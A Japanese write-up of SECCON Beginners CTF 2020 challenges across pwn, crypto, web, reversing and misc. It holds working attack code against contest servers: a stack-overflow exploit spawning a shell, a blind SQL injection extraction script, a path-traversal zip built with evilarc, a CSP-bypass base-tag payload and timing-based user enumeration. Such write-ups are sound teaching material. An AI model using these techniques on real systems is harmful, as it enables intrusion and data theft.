SECCON Beginners CTF 2020 Writeup

チームnicklegrで個人参加。

1263点で81位でした。
(1009チーム中。Welcome以外を解いたのは691チーム)

![コメント 2020-05-24 151815.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/17e9de58-e568-78f9-b177-edb47218f2da.png)

![コメント 2020-05-24 151425.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/4fd4e472-d359-460f-3339-b599b0f35786.png)

![コメント 2020-05-24 151857.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/b7b5d36b-c883-3bb8-83f8-711c0bd9fd24.png)

# Pwn
## Beginner's Stack
```
$ ./chall 
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007fff19bbcd90 | 0x0000000000400b60 | <-- buf
                   +--------------------+
0x00007fff19bbcd98 | 0x00007ffdbbb3f9d0 |
                   +--------------------+
0x00007fff19bbcda0 | 0x00007ffdbbd45740 |
                   +--------------------+
0x00007fff19bbcda8 | 0x00007ffdbbd681c8 |
                   +--------------------+
0x00007fff19bbcdb0 | 0x00007fff19bbcdc0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007fff19bbcdb8 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007fff19bbcdc0 | 0x0000000000000000 | <-- saved rbp (main)
                   +--------------------+
0x00007fff19bbcdc8 | 0x00007ffdbb7a0f45 | <-- return address (main)
                   +--------------------+
0x00007fff19bbcdd0 | 0x00007fff19bbcea8 |
                   +--------------------+
0x00007fff19bbcdd8 | 0x00007fff19bbcea8 |
                   +--------------------+

Input:
```

めちゃくちゃ親切。

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
```

これで試すと

```ruby
require "pp"
require_relative "pwnlib"

def p64(a)
  [a].pack("Q<")
end

def u64(a)
  a.unpack("Q<")[0]
end

addr_win = 0x400861

payload = "A" * (0x00007fff19bbcdb8 - 0x00007fff19bbcd90) + p64(addr_win)

PwnTube.open("bs.quals.beginners.seccon.jp", 9001) do |t|
  # t.debug = true

  t.recv_until("Input: ")
  t.send(payload)
  t.recv_until("Congratulations!\n")

  t.shell
end
```

```
Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!
```

もはやチュートリアル。

win関数の先頭が

```
                     win:
0000000000400861         push       rbp
```

なので、ここをスキップすればスタックが8バイトずれるはず。

```ruby
addr_win = 0x400861
addr_win += 1 # skip "push"
```

通った。

```
$ ruby main.rb 
[*] connected
[*] waiting for shell...
[*] interactive mode
ls -l
total 24
-r-xr-x--- 1 root pwn 12912 May 19 11:27 chall
-r--r----- 1 root pwn    34 May 19 11:27 flag.txt
-r-xr-x--- 1 root pwn    37 May 19 11:27 redir.sh
cat redir.sh
#! /bin/bash
cd /home/pwn && ./chall
cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
[*] end interactive mode
[*] connection closed
```

```
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
```

# Crypto
## R&B

rot13とbase64を交互にやっている。問題名いいセンス。
最初の一文字にどっちを行ったか親切に書いてあるので、やるだけ。
rot13でアルファベット以外は変換しないように注意。

```ruby
require "base64"

enc = "BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=="

def inv_rot13(str)
  plain  = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" # 0123456789
  cipher = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm" # 3456789012

  ret = ""
  str.each_char do |c|
    i = cipher.index(c)
    ret += plain[i] if i
    ret += c if !i
    # ret += (c.ord - 13).chr
  end

  ret
end

loop do
  if enc[0] == "B"
    enc = Base64.decode64(enc[1 .. -1])
    puts enc
  elsif enc[0] == "R"
    enc = inv_rot13(enc[1 .. -1])
    puts enc
  else
    break
  end
end
```

```
ctf4b{rot_base_rot_base_rot_base_base}
```

# Web
## Spy
ログイン画面が出てくる。
サービスに存在するユーザ名を列挙して正解するとフラグ。

![コメント 2020-05-24 115326.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/3bbefbc3-af33-8195-9b62-cd010a7e0d3b.png)

こういうコードで、ユーザー名が正しいとパスワードチェックに進むが、ハッシュ計算がとても重いらしい。

```py
exists, account = db.get_account(name)

if not exists:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
```

親切に実行時間を表示してくれる。はっきり差が出てる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/03ad3a5a-c41d-9dbe-8686-f080ea8c92f6.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/bd3a99ba-5f28-2de8-5b23-4a14c0aca20b.png)

手作業で全員試せばOK。正解は以下のユーザー。

```
Elbert
George
Lazarus
Marc
Tony
Ximena
Yvonne
```

```
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
```

## Tweetstore
ツイートを検索するサービス。

![コメント 2020-05-23 184046.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/30a40337-372f-e0b3-222d-3b3c33a1deb6.png)

DBはpostgres。DBのユーザー名(`current_user`)を取れればいい。

```go
func initialize() {
	var err error

	dbname := "ctf"
	dbuser := os.Getenv("FLAG")
	dbpass := "password"

	connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
	db, err = sql.Open("postgres", connInfo)
	if err != nil {
		log.Fatal(err)
	}
}
```

whereとlimitにSQL injectionできる。前者は`'`, 後者は`;`が使えない。

```go
search, ok := r.URL.Query()["search"]
if ok {
  sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}

sql += " order by tweeted_at desc"

limit, ok := r.URL.Query()["limit"]
if ok && (limit[0] != "") {
  sql += " limit " + strings.Split(limit[0], ";")[0]
}
```

`pg_sleep()`でTime-based SQL injectionかなぁと思ったけど、limitの後にoffsetを入れれば出力が操作できる。普通のBlind SQL injectionだ。

ユーザー名の最初は`ctf4b{`だろうから、下記を試して確認。

```
1 offset (select case when substr(current_user,1,1) = 'c' then 1 else 2 end)
  => すべての講義が終了し、CTF演習が始まりました！...

1 offset (select case when substr(current_user,1,1) = 'd' then 1 else 2 end)
  => 3つめの講義はReversingです。
```

自動化。日本語はめんどくさいのでツイートの投稿時刻で判定。
ubuntu 16.04やWSLだとSSL周りでエラーになる。地味に手こずった。
手持ちのConohaのインスタンスが18.04だったのでそこで動かしたら通った。

```ruby
# require "http"

require "open-uri"

def query(url)
  body = open(url).read
  true_str = body.include?("2019-10-26 07:00:52")
  false_str = body.include?("2019-10-26 05:44:32")
  raise if !true_str && !false_str

  true_str
end

cand = %w|{ } _ ?| + ("0".."9").to_a + ("a".."z").to_a + ("A".."Z").to_a
ans = ""
index = 1
loop do
  found = false
  cand.each do |e|
    url = "https://tweetstore.quals.beginners.seccon.jp/?search=&limit=1 offset (select case when substr(current_user,#{index},1) = '#{e}' then 1 else 2 end)"
    if query(url)
      ans += e
      index += 1
      found = true
      puts ans
      break
    end
    sleep(0.5)
  end
  raise if !found
end

```

```
ctf4b{is_postgres_your_friend?}
```

## unzip
zipをアップロードすると展開してくれるサービス。

![コメント 2020-05-23 213751.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/ccbfe3a2-3aed-57d8-1cd9-aa6b3c33a02c.png)

phpだしzipだしpath traversalでしょう(雑)

```
$user_dir = "/uploads/" . session_id();
...
$zip->extractTo($user_dir);
```

```
volumes:
  - ./public:/var/www/web
  - ./uploads:/uploads
  - ./flag.txt:/flag.txt
```

なので、`../../flag.txt`を読めればいい。

`$zip->extractTo()`に脆弱性はないらしい
https://hackerone.com/reports/205481

> It should be noted that the built-in PHP ZipArchive extractTo method is not vulnerable to this path traversal.

ただ、ファイル作成はできなくても読み出しができればいい。実際できる。

```php
// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}
```

このツールで怪しいzipが作れそう
https://github.com/ptoomey3/evilarc

```
% python evilarc.py --help
Usage: evilarc <input file>

Create archive containing a file with directory traversal

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -f OUT, --output-file=OUT
                        File to output archive to.  Archive type is based off
                        of file extension.  Supported extensions are zip, jar,
                        tar, tar.bz2, tar.gz, and tgz.  Defaults to evil.zip.
  -d DEPTH, --depth=DEPTH
                        Number directories to traverse. Defaults to 8.
  -o PLATFORM, --os=PLATFORM
                        OS platform for archive (win|unix). Defaults to win.
  -p PATH, --path=PATH  Path to include in filename after traversal.  Ex:
                        WINDOWS\System32\

% python evilarc.py flag.txt -d 2 -o unix
Creating evil.zip containing ../../flag.txt
```

これをアップロードすればflag.txtが読める。

```
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
```


## Somen
解けなかった。

そうめんをレコメンドしてくれるサービス。

![コメント 2020-05-24 120809.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/c6862c1f-684b-e6fc-b14b-4f9b63440003.png)

管理者がHeadless Chromeさんで、そのCookieを盗めればいい。

```js:worker.js
// initialize
const browser = await puppeteer.launch({
  ...
});
const page = await browser.newPage();

// set cookie
await page.setCookie({
    name: 'flag',
    value: process.env.FLAG,
    domain: process.env.DOMAIN,
    expires: Date.now() / 1000 + 10,
});
```

security.jsというのがいて、変なユーザー名を入れるとこれに引っかかる。

```php:index.php
<?php
$nonce = base64_encode(random_bytes(20));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='");
?>
...
<head>
    <title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>
    <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
```

```js:security.js
console.log('!! security.js !!');
const username = new URL(location).searchParams.get("username");
if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) {
    document.location = "/error.php";
}
```

base-uriが指定されていないので、ユーザー名に下記を入れるとsecurity.jsを回避できる。

```
</title><base href="http://example.com/" />
```

[CSP Evaluator](https://csp-evaluator.withgoogle.com/)便利ー。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/1f3b3443-fd0a-5ee0-47a6-108109621d0e.png)

ここからが本番なんだけど、nonce, sha256を回避してスクリプトを実行する方法がわからず。


# Reversing
## mask
下記の条件を満たす入力を探す。

- 各文字に0x75でマスクをかけて、結果が``atd4`qdedtUpetepqeUdaaeUeaqau``になる
- 各文字に0xebでマスクをかけて、結果が``c`b bk`kj`KbababcaKbacaKiacki``になる

総当たり。

```ruby
mask_a = "atd4`qdedtUpetepqeUdaaeUeaqau"
mask_b = "c`b bk`kj`KbababcaKbacaKiacki"

cand = ("!".."~")

ans = ""
for i in 0 ... mask_a.size
  found = true
  cand.each do |e|
    if mask_a[i].ord == (e.ord & 0x75) &&
      mask_b[i].ord == (e.ord & 0xeb)
      ans += e
      found = true
      break
    end
  end
  raise if !found
end

puts ans
```

コロナ対策ばっちりなフラグが出てくる。

```
ctf4b{dont_reverse_face_mask}
```

## yakisoba
> Would you like to have a yakisoba code?
> (Hint: You'd better automate your analysis)

スパゲッティコードならぬ焼きそばコード。分岐とジャンプだらけ。
Reversingの自動化といえばangr。非線形な処理はなさそうなので多分いける。

```py
import angr
import claripy

p = angr.Project('./yakisoba', load_options={'auto_load_libs': False})

flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(26)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])

state = p.factory.full_init_state(
    args=['./yakisoba'],
    add_options={angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY} | {angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS},
    stdin=flag,
)

for k in flag_chars:
    state.solver.add(k != 0)
    state.solver.add(k != 10)

simgr = p.factory.simulation_manager(state)

simgr.explore(find=lambda s: b"Correct!" in s.posix.dumps(1))

found = simgr.found[0]
print(found.solver.eval(flag, cast_to=bytes))
```

最初文字数を27文字にしてヒットしなかったけど、26文字にしたらいけた。

```
(angr) $ time python3 main.py
WARNING | 2020-05-23 17:37:06,801 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\n'

real  0m21.113s
user  0m20.564s
sys 0m0.361s
```

```
ctf4b{sp4gh3tt1_r1pp3r1n0}
```

## siblangs
フラグを検証してくれるアプリ。apkファイル。

実機で実行してみる。無茶をおっしゃる。

![AVW-lEIm.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/b38402cf-46c9-404f-4a3d-ee02ef185dde.jpeg)

中身のファイルを見ると、libreactnativeblob.soとかがある。React Native?

assets/index.android.bundleの中身がただのjsっぽいので、
VSCodeで開いてFormat Document。flagで検索するとなんかあった。
これを逆算するとフラグの前半が出てくる。

```js
((t = y.call.apply(y, [this].concat(n))).state = {
  flagVal: "ctf4b{",
  xored: [ 34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27 ]
}),
(t.handleFlagChange = function(o) {
  t.setState({ flagVal: o });
}),
(t.onPressValidateFirstHalf = function() {
  if ("ios" === h.Platform.OS) {
    for (
      var o = "AKeyFor" + h.Platform.OS + "10.3",
        l = t.state.flagVal,
        n = 0;
      n < t.state.xored.length;
      n++
    )
      if (
        t.state.xored[n] !==
        parseInt(l.charCodeAt(n) ^ o.charCodeAt(n % o.length), 10)
      )
        return void h.Alert.alert(
          "Validation A Failed",
          "Try again..."
        );
    h.Alert.alert(
      "Validation A Succeeded",
      "Great! Have you checked the other one?"
    );
  } else
    h.Alert.alert(
      "Sorry!",
      "Run this app on iOS to validate! Or you can try the other one :)"
    );
}),
```

後半はネイティブモジュールで検証してる。dexをデコンパイルするとこんなのが出てくる。

```java:ValidateFlagModule.java
@ReactMethod
public void validate(String str, Callback callback) {
    byte[] bArr = {95, -59, -20, -93, -70, 0, -32, -93, -23, 63, -9, 60, 86, 123, -61, -8, 17, -113, -106, 28, 99, -72, -3, 1, -41, -123, 17, 93, -36, 45, 18, 71, 61, 70, -117, -55, 107, -75, -89, 3, 94, -71, 30};
    try {
        Cipher instance = Cipher.getInstance("AES/GCM/NoPadding");
        instance.init(2, this.secretKey, new GCMParameterSpec(128, bArr, 0, 12));
        byte[] doFinal = instance.doFinal(bArr, 12, bArr.length - 12);
        byte[] bytes = str.getBytes();
        for (int i = 0; i < doFinal.length; i++) {
            if (bytes[i + 22] != doFinal[i]) {
                callback.invoke(Boolean.valueOf(false));
                return;
            }
        }
        callback.invoke(Boolean.valueOf(true));
    } catch (Exception unused) {
        callback.invoke(Boolean.valueOf(false));
    }
}
```

合わせると、

```ruby
require "openssl"

xored = [
  34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27
]

key = "AKeyForios10.3"
ans = ""
xored.each_with_index do |e, i|
  ans += (e ^ key[i % key.size].ord).chr
end

puts ans
# => ctf4b{jav4_and_j4va5cr

iv = [ 95, -59, -20, -93, -70, 0, -32, -93, -23, 63, -9, 60 ].pack("c*")
plain = [ 86, 123, -61, -8, 17, -113, -106, 28, 99, -72, -3, 1, -41, -123, 17, 93, -36, 45, 18, 71, 61, 70, -117, -55, 107, -75, -89, 3, 94, -71, 30 ].pack("c*")

cipher = OpenSSL::Cipher::AES.new(128, :GCM).encrypt
cipher.key = "IncrediblySecure"
cipher.iv = iv
cipher.auth_data = "hoge"

encrypted = cipher.update(plain) + cipher.final

pp encrypted
# => "1pt_3verywhere}\x1E\xAF}\xBF!\x029\x06\x84\xDD\xA9\x8B\x12w\xE4\x8A"
```

スマホだとJavaはeverywhereじゃないけども。

```
ctf4b{jav4_and_j4va5cr1pt_3verywhere}
```

# Misc
## Welcome
運営と連絡が取れるDiscordサーバに入るとフラグがある。
去年もこうだったけど、この誘導とても賢いと思う。

```
ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
```

草。

## emoemoencode

```
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
```

uuencodeっぽい問題名だから、ビット列の一部を切り出してASCIIに変換する感じ？

- UTF-8のコードポイントで見ると最小値は127792。それと差を取ってみる
- 最初の文字は`c`(ASCIIで99)だろうからそれと差を取ってみる

とかやってたら出てきた。

```ruby
# coding: utf-8

enc = "🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽"
puts enc.size

"ctf4b{}".each_char do |e|
  puts e.ord
end

ans = ""
enc.each_char do |e|
  puts "#{e.ord} #{e.ord.to_s(16)} #{e.ord - 127792} #{e.ord - 127792 + (99 - 51)} #{(e.ord - 127792 + (99 - 51)).chr}"
  ans += (e.ord - 127792 + (99 - 51)).chr
end

puts ans
```

```
34
99
116
102
52
98
123
125
127843 1f363 51 99 c
127860 1f374 68 116 t
127846 1f366 54 102 f
127796 1f334 4 52 4
127842 1f362 50 98 b
127867 1f37b 75 123 {
127859 1f373 67 115 s
127860 1f374 68 116 t
127845 1f365 53 101 e
127847 1f367 55 103 g
127841 1f361 49 97 a
127854 1f36e 62 110 n
127792 1f330 0 48 0
127847 1f367 55 103 g
127858 1f372 66 114 r
127841 1f361 49 97 a
127856 1f370 64 112 p
127848 1f368 56 104 h
127865 1f379 73 121 y
127839 1f35f 47 95 _
127842 1f362 50 98 b
127865 1f379 73 121 y
127839 1f35f 47 95 _
127845 1f365 53 101 e
127853 1f36d 61 109 m
127792 1f330 0 48 0
127792 1f330 0 48 0
127792 1f330 0 48 0
127792 1f330 0 48 0
127792 1f330 0 48 0
127792 1f330 0 48 0
127850 1f36a 58 106 j
127849 1f369 57 105 i
127869 1f37d 77 125 }
ctf4b{stegan0graphy_by_em000000ji}
```

```
ctf4b{stegan0graphy_by_em000000ji}
```

# 作問者・運営の方のWriteup
- http://shift-crops.hatenablog.com/entry/2020/05/24/211147
- https://ak1ra24.hatenablog.com/entry/2020/05/26/180000
- https://atpons.hateblo.jp/entry/20200524/1590312035
- https://diary.shift-js.info/seccon-beginners-ctf-2020/
- https://ptr-yudai.hatenablog.com/entry/2020/05/24/174914
- https://scrapbox.io/sei0opub/SECCON_Beginners_CTF_2020_write-up
- https://szarny.hatenablog.com/entry/2020/05/24/140721
- https://twitter.com/ytn86/status/1264430185195073536

# みなさんのWriteup
- http://hackbayashi.hatenablog.com/entry/2020/05/24/204412
- http://lis2501.hateblo.jp/entry/2020/05/24/144530
- https://amaga38.hatenablog.com/entry/2020/05/24/170546
- https://betit0919.hatenablog.com/entry/2020/05/24/173554
- https://blog.kogcoder.com/ja/blog/seccon-beginners-ctf-2020-writeup
- https://blog.my0.xyz/blog/ctf-b2020
- https://blog.urandom.team/post/seccon-beginners-ctf-2020/
- https://earlgray283.github.io/public/ctf4b/
- https://emeth.jp/diary/?p=448
- https://furutsuki.hatenablog.com/entry/2020/05/24/144705
- https://github.com/y011d4/ctf4b-2020-writeup
- https://graneed.hatenablog.com/entry/2020/05/24/141629
- https://kam1tsur3.hatenablog.com/entry/2020/05/24/201000
- https://kisqragi.hatenablog.com/entry/2020/05/26/003711
- https://kusuwada.hatenablog.com/entry/2020/05/24/154022
- https://kusuwada.hatenablog.com/entry/2020/06/05/165056
- https://kusuwada.hatenablog.com/entry/2020/06/15/153215
- https://lorse.hatenablog.com/entry/2020/05/24/172016
- https://ox0xo.github.io/ctf/ctf4b2020
- https://progfay.hatenablog.com/entry/2020/05/24/155959
- https://qiita.com/dolcano/items/eb377d145ce57cb5deed
- https://qiita.com/DyingFrog/items/24239a9a53b4f6091307
- https://qiita.com/FeLvi/items/26d66c768ca2dfc14cad
- https://qiita.com/hi120ki/items/e42f42f197564a2ac07d
- https://qiita.com/kusano_k/items/501b6e2cc73c194cc4f2
- https://qiita.com/mikecat_mixc/items/b4e603f72d1978f41afa
- https://qiita.com/mizutoki79/items/99e67285ec1b6376204a
- https://qiita.com/souring001/items/a23d7543d74ca4ae0e69
- https://qiita.com/taiyaki8926/items/a369c04c40839260c46b
- https://rajyan.hatenablog.jp/entry/2020/05/24/154150
- https://satto.hatenadiary.com/entry/seccon4b-2020
- https://scrapbox.io/minaminao/C4B_-_SECCON_Beginners_CTF_2020
- https://st98.github.io/diary/posts/2020-05-24-beginners-ctf-2020.html
- https://suan.hatenablog.jp/entry/2020/05/24/164315
- https://tan.hatenadiary.jp/entry/2020/05/24/204308
- https://terassyi.net/posts/2020/05/24/ctf4b.html
- https://tikicn.hatenablog.com/entry/2020/05/24/140117
- https://twitter.com/sekai67/status/1264444025257390081
- https://twitter.com/systemctl_ryoto/status/1271713764493033474
- https://www.facebook.com/tokin.kouju/posts/3066860893372985
- https://www.hamayanhamayan.com/entry/2020/05/25/131102
- https://www.ryotosaito.com/blog/?p=474
- https://yn0014.hatenablog.com/entry/2020/05/25/002322
- https://ys-5441.hatenablog.com/entry/seccon_beginner_writeup_2020